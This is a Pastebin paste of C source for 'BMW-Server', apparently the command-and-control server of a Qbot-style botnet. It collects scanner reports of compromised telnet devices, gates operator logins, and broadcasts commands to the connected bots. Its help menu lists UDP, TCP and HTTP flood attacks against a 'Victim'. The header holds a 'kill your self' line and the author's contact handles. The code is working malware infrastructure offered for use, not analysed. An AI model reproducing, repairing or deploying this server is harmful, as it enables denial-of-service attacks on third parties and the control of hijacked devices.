Advertisement
ZucoCheezy

BMW-Server

Dec 1st, 2018
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 24.67 KB | None | 0 0
  1. //                                                                                              
  2. //                                                                                              
  3. //                                         BBBBBBBBBBBBBBBBB   MMMMMMMM               MMMMMMMMWWWWWWWW                           WWWWWWWW
  4. //                                         B::::::::::::::::B  M:::::::M             M:::::::MW::::::W                           W::::::W
  5. //                                         B::::::BBBBBB:::::B M::::::::M           M::::::::MW::::::W                           W::::::W
  6. //                                         BB:::::B     B:::::BM:::::::::M         M:::::::::MW::::::W                           W::::::W
  7. //                                           B::::B     B:::::BM::::::::::M       M::::::::::M W:::::W           WWWWW           W:::::W
  8. //                                           B::::B     B:::::BM:::::::::::M     M:::::::::::M  W:::::W         W:::::W         W:::::W  
  9. //                                           B::::BBBBBB:::::B M:::::::M::::M   M::::M:::::::M   W:::::W       W:::::::W       W:::::W  
  10. //                                           B:::::::::::::BB  M::::::M M::::M M::::M M::::::M    W:::::W     W:::::::::W     W:::::W    
  11. //                                           B::::BBBBBB:::::B M::::::M  M::::M::::M  M::::::M     W:::::W   W:::::W:::::W   W:::::W    
  12. //                                           B::::B     B:::::BM::::::M   M:::::::M   M::::::M      W:::::W W:::::W W:::::W W:::::W      
  13. //                                           B::::B     B:::::BM::::::M    M:::::M    M::::::M       W:::::W:::::W   W:::::W:::::W      
  14. //                                           B::::B     B:::::BM::::::M     MMMMM     M::::::M        W:::::::::W     W:::::::::W        
  15. //                                         BB:::::BBBBBB::::::BM::::::M               M::::::M         W:::::::W       W:::::::W        
  16. //                                         B:::::::::::::::::B M::::::M               M::::::M          W:::::W         W:::::W          
  17. //                                         B::::::::::::::::B  M::::::M               M::::::M           W:::W           W:::W          
  18. //                                         BBBBBBBBBBBBBBBBB   MMMMMMMM               MMMMMMMM            WWW             WWW            
  19. //
  20. //
  21. //                                                                              If you were given this
  22. //                                                                                  kill your self
  23. //                                                                           twitter: @publicdatabases
  24. //                                                                        xmpp: volatile@digitalgangster.com
  25. //                                                                                   Version: 1.3
  26. //                                                                           THIS IS A LOGIN.TXT SERVER.C
  27. //                                                                               DO NOT MODIFY BELOW
  28. //                                                                              Current status: private
  29. //                                                                         Working on client.c as of 11/12/16
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <stdint.h>
  33. #include <inttypes.h>
  34. #include <string.h>
  35. #include <sys/types.h>
  36. #include <sys/socket.h>
  37. #include <netdb.h>
  38. #include <unistd.h>
  39. #include <time.h>
  40. #include <fcntl.h>
  41. #include <sys/epoll.h>
  42. #include <errno.h>
  43. #include <pthread.h>
  44. #include <signal.h>
  45. #include <arpa/inet.h>
  46. #define MAXFDS 1000000
  47. //////////////////////////////////
  48. struct login_info {
  49.     char username[20];
  50.     char password[20];
  51. };
  52. static struct login_info accounts[22];
  53. struct clientdata_t {
  54.         uint32_t ip;
  55.         char connected;
  56. } clients[MAXFDS];
  57. struct telnetdata_t {
  58.         int connected;
  59. } managements[MAXFDS];
  60. struct args {
  61.         int sock;
  62.         struct sockaddr_in cli_addr;
  63. };
  64. static volatile FILE *telFD;
  65. static volatile FILE *fileFD;
  66. static volatile int epollFD = 0;
  67. static volatile int listenFD = 0;
  68. static volatile int OperatorsConnected = 0;
  69. static volatile int TELFound = 0;
  70. static volatile int scannerreport;
  71. //////////////////////////////////
  72. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  73.     int total = 0, got = 1;
  74.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  75.     return got;
  76. }
  77. void trim(char *str) {
  78.     int i;
  79.     int begin = 0;
  80.     int end = strlen(str) - 1;
  81.     while (isspace(str[begin])) begin++;
  82.     while ((end >= begin) && isspace(str[end])) end--;
  83.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  84.     str[i - begin] = '\0';
  85. }
  86. static int make_socket_non_blocking (int sfd) {
  87.     int flags, s;
  88.     flags = fcntl (sfd, F_GETFL, 0);
  89.     if (flags == -1) {
  90.         perror ("fcntl");
  91.         return -1;
  92.     }
  93.     flags |= O_NONBLOCK;
  94.     s = fcntl (sfd, F_SETFL, flags);
  95.     if (s == -1) {
  96.         perror ("fcntl");
  97.         return -1;
  98.     }
  99.     return 0;
  100. }
  101. static int create_and_bind (char *port) {
  102.     struct addrinfo hints;
  103.     struct addrinfo *result, *rp;
  104.     int s, sfd;
  105.     memset (&hints, 0, sizeof (struct addrinfo));
  106.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  107.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  108.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  109.     s = getaddrinfo (NULL, port, &hints, &result);
  110.     if (s != 0) {
  111.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  112.         return -1;
  113.     }
  114.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  115.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116.         if (sfd == -1) continue;
  117.         int yes = 1;
  118.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120.         if (s == 0) {
  121.             break;
  122.         }
  123.         close (sfd);
  124.     }
  125.     if (rp == NULL) {
  126.         fprintf (stderr, "Could not bind\n");
  127.         return -1;
  128.     }
  129.     freeaddrinfo (result);
  130.     return sfd;
  131. }
  132. void broadcast(char *msg, int us, char *sender)
  133. {
  134.         int sendMGM = 1;
  135.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  136.         char *wot = malloc(strlen(msg) + 10);
  137.         memset(wot, 0, strlen(msg) + 10);
  138.         strcpy(wot, msg);
  139.         trim(wot);
  140.         time_t rawtime;
  141.         struct tm * timeinfo;
  142.         time(&rawtime);
  143.         timeinfo = localtime(&rawtime);
  144.         char *timestamp = asctime(timeinfo);
  145.         trim(timestamp);
  146.         int i;
  147.         for(i = 0; i < MAXFDS; i++)
  148.         {
  149.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  150.                 if(sendMGM && managements[i].connected)
  151.                 {
  152.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  153.                         send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
  154.                         send(i, ": ", 2, MSG_NOSIGNAL);
  155.                 }
  156.                 printf("sent to fd: %d\n", i);
  157.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  158.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37m~~~~> ", 13, MSG_NOSIGNAL);
  159.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  160.         }
  161.         free(wot);
  162. }
  163. void *BotEventLoop(void *useless) {
  164.     struct epoll_event event;
  165.     struct epoll_event *events;
  166.     int s;
  167.     events = calloc (MAXFDS, sizeof event);
  168.     while (1) {
  169.         int n, i;
  170.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  171.         for (i = 0; i < n; i++) {
  172.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  173.                 clients[events[i].data.fd].connected = 0;
  174.                 close(events[i].data.fd);
  175.                 continue;
  176.             }
  177.             else if (listenFD == events[i].data.fd) {
  178.                while (1) {
  179.                 struct sockaddr in_addr;
  180.                 socklen_t in_len;
  181.                 int infd, ipIndex;
  182.  
  183.                 in_len = sizeof in_addr;
  184.                 infd = accept (listenFD, &in_addr, &in_len);
  185.                 if (infd == -1) {
  186.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  187.                     else {
  188.                         perror ("accept");
  189.                         break;
  190.                          }
  191.                 }
  192.  
  193.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  194.                 int dup = 0;
  195.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  196.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  197.                     if(clients[ipIndex].ip == clients[infd].ip) {
  198.                         dup = 1;
  199.                         break;
  200.                     }}
  201.                 if(dup) {
  202.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  203.                     close(infd);
  204.                     continue;
  205.                 }
  206.                 s = make_socket_non_blocking (infd);
  207.                 if (s == -1) { close(infd); break; }
  208.                 event.data.fd = infd;
  209.                 event.events = EPOLLIN | EPOLLET;
  210.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  211.                 if (s == -1) {
  212.                     perror ("epoll_ctl");
  213.                     close(infd);
  214.                     break;
  215.                 }
  216.                 clients[infd].connected = 1;
  217.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  218.             }
  219.             continue;
  220.         }
  221.         else {
  222.             int datafd = events[i].data.fd;
  223.             struct clientdata_t *client = &(clients[datafd]);
  224.             int done = 0;
  225.             client->connected = 1;
  226.             while (1) {
  227.                 ssize_t count;
  228.                 char buf[2048];
  229.                 memset(buf, 0, sizeof buf);
  230.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  231.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  232.                     trim(buf);
  233.                     if(strcmp(buf, "PING") == 0) {
  234.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  235.                         continue;
  236.                     }
  237.                     if(strstr(buf, "REPORT ") == buf) {
  238.                         char *line = strstr(buf, "REPORT ") + 7;
  239.                         fprintf(telFD, "%s\n", line);
  240.                         fflush(telFD);
  241.                         TELFound++;
  242.                         continue;
  243.                     }
  244.                     if(strstr(buf, "PROBING") == buf) {
  245.                         char *line = strstr(buf, "PROBING");
  246.                         scannerreport = 1;
  247.                         continue;
  248.                     }
  249.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  250.                         char *line = strstr(buf, "REMOVING PROBE");
  251.                         scannerreport = 0;
  252.                         continue;
  253.                     }
  254.                     if(strcmp(buf, "PONG") == 0) {
  255.                         continue;
  256.                     }
  257.                     printf("buf: \"%s\"\n", buf);
  258.                 }
  259.                 if (count == -1) {
  260.                     if (errno != EAGAIN) {
  261.                         done = 1;
  262.                     }
  263.                     break;
  264.                 }
  265.                 else if (count == 0) {
  266.                     done = 1;
  267.                     break;
  268.                 }
  269.             if (done) {
  270.                 client->connected = 0;
  271.                 close(datafd);
  272.                     }
  273.                 }
  274.             }
  275.         }
  276.     }
  277. }
  278. unsigned int BotsConnected() {
  279.     int i = 0, total = 0;
  280.     for(i = 0; i < MAXFDS; i++) {
  281.         if(!clients[i].connected) continue;
  282.         total++;
  283.     }
  284.     return total;
  285. }
  286. void *TitleWriter(void *sock) {
  287.     int datafd = (int)sock;
  288.     char string[2048];
  289.     while(1) {
  290.         memset(string, 0, 2048);
  291.         sprintf(string, "%c]0;Horsepower Connected: %d | Drivers Connected: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  292.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  293.         sleep(2);
  294. }}
  295. int Find_Login(char *str) {
  296.     FILE *fp;
  297.     int line_num = 0;
  298.     int find_result = 0, find_line=0;
  299.     char temp[512];
  300.  
  301.     if((fp = fopen("login.txt", "r")) == NULL){
  302.         return(-1);
  303.     }
  304.     while(fgets(temp, 512, fp) != NULL){
  305.         if((strstr(temp, str)) != NULL){
  306.             find_result++;
  307.             find_line = line_num;
  308.         }
  309.         line_num++;
  310.     }
  311.     if(fp)
  312.         fclose(fp);
  313.     if(find_result == 0)return 0;
  314.     return find_line;
  315. }
  316. void *BotWorker(void *sock) {
  317.     int datafd = (int)sock;
  318.     int find_line;
  319.     OperatorsConnected++;
  320.     pthread_t title;
  321.     char buf[2048];
  322.     char* username;
  323.     char* password;
  324.     memset(buf, 0, sizeof buf);
  325.     char botnet[2048];
  326.     memset(botnet, 0, 2048);
  327.  
  328.     FILE *fp;
  329.     int i=0;
  330.     int c;
  331.     fp=fopen("login.txt", "r");
  332.     while(!feof(fp)) {
  333.         c=fgetc(fp);
  334.         ++i;
  335.     }
  336.     int j=0;
  337.     rewind(fp);
  338.     while(j!=i-1) {
  339.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  340.         ++j;
  341.     }
  342.  
  343.         if(send(datafd, "\x1b[37mLicense Plate #: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  344.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  345.         trim(buf);
  346.         char* nickstring;
  347.         sprintf(accounts[find_line].username, buf);
  348.         nickstring = ("%s", buf);
  349.         find_line = Find_Login(nickstring);
  350.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  351.         if(send(datafd, "\x1b[37mKey: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  352.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  353.         trim(buf);
  354.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  355.         memset(buf, 0, 2048);
  356.         goto Banner;
  357.         }
  358.         failed:
  359.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  360.         char failed_line1[80];
  361.  
  362.         sprintf(failed_line1, "\x1b[36mBMW LOCKED\r\n");
  363.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  364.         sleep(5);
  365.         goto end;
  366.  
  367.         Banner:
  368.         pthread_create(&title, NULL, &TitleWriter, sock);
  369.         char ascii_banner_line1 [5000];
  370.         char ascii_banner_line2 [5000];
  371.         char ascii_banner_line3 [5000];
  372.         char ascii_banner_line4 [5000];
  373.         char ascii_banner_line5 [5000];
  374.         char ascii_banner_line6 [5000];
  375.         char ascii_banner_line7 [5000];
  376.         char welcome_line [100];
  377.         char banner_bot_count [2048];
  378.         memset(banner_bot_count, 0, 2048);
  379.        
  380.         sprintf(ascii_banner_line1, "\x1b[31m     d8888b. .88b  d88. db   d8b   db      \r\n");
  381.         sprintf(ascii_banner_line2, "\x1b[31m     88  `8D 88'YbdP`88 88   I8I   88      \r\n");
  382.         sprintf(ascii_banner_line3, "\x1b[31m     88oooY' 88  88  88 88   I8I   88      \r\n");
  383.         sprintf(ascii_banner_line4, "\x1b[31m     88~~~b. 88  88  88 Y8   I8I   88      \r\n");
  384.         sprintf(ascii_banner_line5, "\x1b[31m     88   8D 88  88  88 `8b d8'8b d8'      \r\n");
  385.                 sprintf(ascii_banner_line6, "\x1b[31m     Y8888P' YP  YP  YP  `8b8' `8d8'       \r\n");
  386.         sprintf(ascii_banner_line7, "\r\n");   
  387.         sprintf(welcome_line,       "\x1b[31m       #\x1b[36m----- \x1b[37mHorsepower: %d\x1b[36m -----\x1b[31m#\r\n", BotsConnected(), OperatorsConnected);
  388.         sprintf(banner_bot_count,   "\r\n\x1b[31m    #\x1b[36m-------- \x1b[37mWelcome, %s\x1b[36m --------\x1b[31m#\r\n", accounts[find_line].username);
  389.  
  390.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  391.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  392.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  393.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  394.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  395.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  396.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  397.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  398.         while(1) {
  399.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  400.         if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  401.         break;
  402.         }
  403.         pthread_create(&title, NULL, &TitleWriter, sock);
  404.         managements[datafd].connected = 1;
  405.  
  406.         while(fdgets(buf, sizeof buf, datafd) > 0)
  407.         {
  408.             if(strstr(buf, "BOTS")) {
  409.                 char botcount [2048];
  410.                 memset(botcount, 0, 2048);
  411.                 sprintf(botcount, "[+] - Horsepower: [\x1b[36m %d \x1b[37m] [+] - Drivers: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  412.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  413.                 if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  414.                 continue;
  415.             }
  416.             if(strstr(buf, "STATUS")){
  417.                 char statuscount [2048];
  418.                 memset(statuscount, 0, 2048);
  419.                 sprintf(statuscount, "[+] - Horsepower: [\x1b[36m %d \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
  420.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  421.                                 if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  422.                 continue;
  423.             }
  424.             if(strstr(buf, "HELP")) {
  425.                 pthread_create(&title, NULL, &TitleWriter, sock);
  426.                 char helpline1  [100];
  427.                 char helpline2  [100];
  428.                 char helpline3  [100];
  429.                 char helpline4  [200];
  430.                 char helpline5  [100];
  431.                 char helpline6  [100];
  432.                 char helpline7  [100];
  433.                 char helpline9  [100];
  434.                 char helpline11 [100];
  435.                 char helpline12 [100];
  436.                 char helpline13 [100];
  437.                 char helpline14 [100];
  438.  
  439.                 sprintf(helpline1,  "   \r\n\x1b[37m#--- \x1b[36mCOMMANDS \x1b[37m---#\r\n\r\n");
  440.                 sprintf(helpline2,  "   \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  441.                 sprintf(helpline3,  "   \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  442.                 sprintf(helpline4,  "   \x1b[37m- HTTP-GET - \x1b[36m!* HTTPFLOOD GET Url Port / TIME 100000\r\n");
  443.                 sprintf(helpline5,  "   \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  444.                 sprintf(helpline7,  "   \x1b[37m- Kills Attack - \x1b[36mKILL\r\n");
  445.                 sprintf(helpline9,  "   \x1b[37m- Horsepower Count - \x1b[36mBOTS\r\n");
  446.                 sprintf(helpline11, "   \x1b[37m- Clear Screen - \x1b[36mCLEAR\r\n");
  447.                 sprintf(helpline12, "   \x1b[37m- LOGOUT - \x1b[36mLOGOUT\r\n");
  448.                 sprintf(helpline13, "   \x1b[37m- TOS - \x1b[36mTOS\r\n");
  449.                 sprintf(helpline14, "   \r\n");
  450.  
  451.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  452.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  453.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  454.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  455.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  456.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  457.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  458.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  459.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  460.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  461.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  462.                 if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  463.                 pthread_create(&title, NULL, &TitleWriter, sock);
  464.                 if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  465.                 continue;
  466.             }
  467.                         if(strstr(buf, "ls")) {
  468.                 pthread_create(&title, NULL, &TitleWriter, sock);
  469.                 char ls1  [100];
  470.                 char ls2  [100];
  471.                 char ls3  [100];
  472.                 char ls4  [100];
  473.                 char ls5  [100];
  474.  
  475.                 sprintf(ls1,  "   \r\n\x1b[37m#--- \x1b[36mMETHODS \x1b[37m---#\r\n\r\n");
  476.                 sprintf(ls2,  "   \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
  477.                 sprintf(ls3,  "   \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
  478.                 sprintf(ls4,  "   \x1b[37m- HTTP - \x1b[36m!* HTTPFLOOD GET Url 80 / Time 100000\r\n");
  479.                 sprintf(ls5,  "   \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
  480.  
  481.                 if(send(datafd, ls1,  strlen(ls1),  MSG_NOSIGNAL) == -1) goto end;
  482.                 if(send(datafd, ls2,  strlen(ls2),  MSG_NOSIGNAL) == -1) goto end;
  483.                 if(send(datafd, ls3,  strlen(ls3),  MSG_NOSIGNAL) == -1) goto end;
  484.                 if(send(datafd, ls4,  strlen(ls4),  MSG_NOSIGNAL) == -1) goto end;
  485.                 if(send(datafd, ls5,  strlen(ls5),  MSG_NOSIGNAL) == -1) goto end;
  486.  
  487.                 pthread_create(&title, NULL, &TitleWriter, sock);
  488.                 if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  489.                 continue;
  490.         }
  491.  
  492.             if(strstr(buf, "KILL")) {
  493.                 char killattack [2048];
  494.                 memset(killattack, 0, 2048);
  495.                 sprintf(killattack, "!* KILLATTK\r\n");
  496.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  497.                                 if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  498.                 continue;
  499.             }
  500.             if(strstr(buf, "CLEAR")) {
  501.                 char clearscreen [2048];
  502.                 memset(clearscreen, 0, 2048);
  503.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  504.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  505.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  506.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  507.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  508.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  509.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  510.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  511.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  512.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  513.                 while(1) {
  514.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  515.                 if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  516.                 break;
  517.                 }
  518.                 continue;
  519.             }
  520.             if(strstr(buf, "TOS")) {
  521.                 pthread_create(&title, NULL, &TitleWriter, sock);
  522.                 char tos1  [80];
  523.                 sprintf(tos1,  "\r\n\x1b[36mTOS: \x1b[37mNONE ATM FUCK OFF ");
  524.  
  525.                 if(send(datafd, tos1,  strlen(tos1),    MSG_NOSIGNAL) == -1) goto end;
  526.                 pthread_create(&title, NULL, &TitleWriter, sock);
  527.                 if(send(datafd, "\x1b[37m~~~~> ", 12, MSG_NOSIGNAL) == -1) goto end;
  528.                 continue;
  529.  
  530.             }
  531.                
  532.             if(strstr(buf, "LOGOUT")) {
  533.                 char logoutmessage [2048];
  534.                 memset(logoutmessage, 0, 2048);
  535.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  536.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  537.                 sleep(5);
  538.                 goto end;
  539.             }
  540.                 trim(buf);
  541.                 if(send(datafd, "\x1b[37m~~~~> ", 11, MSG_NOSIGNAL) == -1) goto end;
  542.                 if(strlen(buf) == 0) continue;
  543.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  544.  
  545.                 FILE *LogFile;
  546.                 LogFile = fopen("server.log", "a");
  547.                 time_t now;
  548.                 struct tm *gmt;
  549.                 char formatted_gmt [50];
  550.                 char lcltime[50];
  551.                 now = time(NULL);
  552.                 gmt = gmtime(&now);
  553.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  554.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  555.                 fclose(LogFile);
  556.                 broadcast(buf, datafd, accounts[find_line].username);
  557.                 memset(buf, 0, 2048);
  558.         }
  559.         end:
  560.             managements[datafd].connected = 0;
  561.             close(datafd);
  562.             OperatorsConnected--;
  563. }
  564. void *BotListener(int port) {
  565.     int sockfd, newsockfd;
  566.     socklen_t clilen;
  567.     struct sockaddr_in serv_addr, cli_addr;
  568.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  569.     if (sockfd < 0) perror("ERROR opening socket");
  570.     bzero((char *) &serv_addr, sizeof(serv_addr));
  571.     serv_addr.sin_family = AF_INET;
  572.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  573.     serv_addr.sin_port = htons(port);
  574.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  575.     listen(sockfd,5);
  576.     clilen = sizeof(cli_addr);
  577.     while(1) {
  578.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  579.         if (newsockfd < 0) perror("ERROR on accept");
  580.         pthread_t thread;
  581.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  582. }}
  583. int main (int argc, char *argv[], void *sock)
  584. {
  585.         signal(SIGPIPE, SIG_IGN);
  586.         int s, threads, port;
  587.         struct epoll_event event;
  588.         if (argc != 4) {
  589.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  590.             exit (EXIT_FAILURE);
  591.         }
  592.         port = atoi(argv[3]);
  593.         telFD = fopen("telnet.txt", "a+");
  594.         threads = atoi(argv[2]);
  595.         listenFD = create_and_bind (argv[1]);
  596.         if (listenFD == -1) abort ();
  597.         s = make_socket_non_blocking (listenFD);
  598.         if (s == -1) abort ();
  599.         s = listen (listenFD, SOMAXCONN);
  600.         if (s == -1) {
  601.             perror ("listen");
  602.             abort ();
  603.         }
  604.         epollFD = epoll_create1 (0);
  605.         if (epollFD == -1) {
  606.             perror ("epoll_create");
  607.             abort ();
  608.         }
  609.         event.data.fd = listenFD;
  610.         event.events = EPOLLIN | EPOLLET;
  611.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  612.         if (s == -1) {
  613.             perror ("epoll_ctl");
  614.             abort ();
  615.         }
  616.         pthread_t thread[threads + 2];
  617.         while(threads--) {
  618.             pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  619.         }
  620.         pthread_create(&thread[0], NULL, &BotListener, port);
  621.         while(1) {
  622.             broadcast("PING", -1, "ROBOBITCH");
  623.             sleep(60);
  624.         }
  625.         close (listenFD);
  626.         return 0;
  627. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement